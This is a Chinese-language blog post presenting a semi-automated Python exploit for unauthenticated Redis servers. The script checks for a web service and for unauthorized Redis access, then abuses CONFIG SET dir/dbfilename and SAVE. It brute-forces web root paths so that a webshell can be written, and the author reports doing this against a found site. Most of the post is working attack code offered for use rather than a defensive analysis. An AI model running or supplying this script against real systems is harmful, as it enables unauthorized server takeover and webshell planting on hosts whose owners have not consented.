前两篇文章介绍了两种直接root权限getshell的方式,这里介绍通过写入webpage来得到shell的半自动化脚本.

前两篇文章介绍了两种直接root权限getshell的方式,这里介绍通过写入webpage来得到shell的半自动化脚本.

脚本的意义是将误报的可能性降到最低,发现目标并简化手工操作.

利用流程

1 通过redis未授权访问漏洞,向redis插入一条记录,内容是一句话木马或其他webshell
2 找到web绝对路径,写入webshell
3 菜刀或其它

半自动化exp逻辑

半自动的原因是最后写入的webshell需要手工控制.

脚本会顺序检查以下必要条件: 1 判断该主机是否存在web服务
2 判断该主机是否存在Redis未授权访问漏洞
3 判断用户是否有修改Redis配置的权限
4 爆破web绝对路径
5 判断用户在web路径是否有写权限

如果这些检查顺利通过,将目标返回给渗透测试人员并手工写入webshell

show me the code

判断web服务

for web_port in [80, 443, 8080, 8443]:  # 判断web服务
        if checkPortTcp(ip, web_port):
            try:
                real_url = redirectURL(ip + ':' + str(web_port))
            except Exception:
                real_url = ip + ':' + str(web_port)
            break  # TODO 这里简单化处理,只返回了一个端口的结果
    else:
        return False

判断Redis未授权访问,并检查各种exp必需的操作是否能正常执行. 简单化处理,用root用户来保证对web目录的写入权限

try:
        r = redis.Redis(host=ip, port=port, db=0, socket_timeout=5)
        if 'redis_version' not in r.info():  # 判断未授权访问
            return False
        key = randomString(5)
        value = randomString(5)
        r.set(key, value)  # 判断可写
        r.config_set('dir', '/root/')  # 判断对/var/www的写入权限(目前先判断为root)
        r.config_set('dbfilename', 'dump.rdb')  # 判断操作权限
        r.delete(key)
        r.save()  # 判断可导出
    except Exception, e:
        return False

爆破web服务的绝对路径

path_list = []
    for each in ABSPATH_PREFIXES.LINUX:
        try:
            r.config_set('dir', each.rstrip('/'))
            path_list.append(each)
            for suffix in ABSPATH_SUFFIXES:
                try:
                    r.config_set('dir', suffix.rstrip('/'))
                    path_list.append(each.rstrip('/') + '/' + suffix)
                except Exception:
                    continue
        except Exception:
            continue

其中爆破的字典提取自sqlmap

class ABSPATH_PREFIXES:
    LINUX = (
        "/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24",
        "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/vhosts",
        "/var/www/virtual", "/var/www/clients/vhosts", "/var/www/clients/virtual")
    WINDOWS = (
        "/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache",
        "/Program Files/Apache Group/Apache",
        "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2",
        "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot",
        "/Inetpub/vhosts")
    ALL = LINUX + WINDOWS


# Suffixes used in brute force search for web server document root
ABSPATH_SUFFIXES = (
    "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all",
    "www/build")

完整代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = [email protected]
# project = https://github.com/Xyntax/POC-T

"""
redis getshell expliot (/var/spool/cron reverse shell)

检查Redis未授权访问->检查是否存在web服务->检查exp必需的权限和功能->枚举绝对路径->输出结果供手工测试
"""

import redis
from plugin.util import host2IP
from plugin.util import randomString
from plugin.util import redirectURL
from plugin.util import checkPortTcp
from plugin.static import ABSPATH_PREFIXES, ABSPATH_SUFFIXES


def poc(url):
    url = host2IP(url)
    ip = url.split(':')[0]
    port = int(url.split(':')[-1]) if ':' in url else 6379

    for web_port in [80, 443, 8080, 8443]:  # 判断web服务
        if checkPortTcp(ip, web_port):
            try:
                real_url = redirectURL(ip + ':' + str(web_port))
            except Exception:
                real_url = ip + ':' + str(web_port)
            break  # TODO 这里简单化处理,只返回了一个端口的结果
    else:
        return False

    try:
        r = redis.Redis(host=ip, port=port, db=0, socket_timeout=5)
        if 'redis_version' not in r.info():  # 判断未授权访问
            return False
        key = randomString(5)
        value = randomString(5)
        r.set(key, value)  # 判断可写
        r.config_set('dir', '/root/')  # 判断对/var/www的写入权限(目前先判断为root)
        r.config_set('dbfilename', 'dump.rdb')  # 判断操作权限
        r.delete(key)
        r.save()  # 判断可导出
    except Exception, e:
        return False

    # 枚举绝对路径
    path_list = []
    for each in ABSPATH_PREFIXES.LINUX:
        try:
            r.config_set('dir', each.rstrip('/'))
            path_list.append(each)
            for suffix in ABSPATH_SUFFIXES:
                try:
                    r.config_set('dir', suffix.rstrip('/'))
                    path_list.append(each.rstrip('/') + '/' + suffix)
                except Exception:
                    continue
        except Exception:
            continue

    if len(path_list):
        return real_url + ' ' + ' '.join(path_list)
    else:
        return False

测试

poc 找一个站,写入test.html看看效果 poc1 访问test.html poc2 看来没有问题,继续写入webshell poc3 注:图中间那个save打错,其实没有必要

完成 poc4


results matching ""

    No results matching ""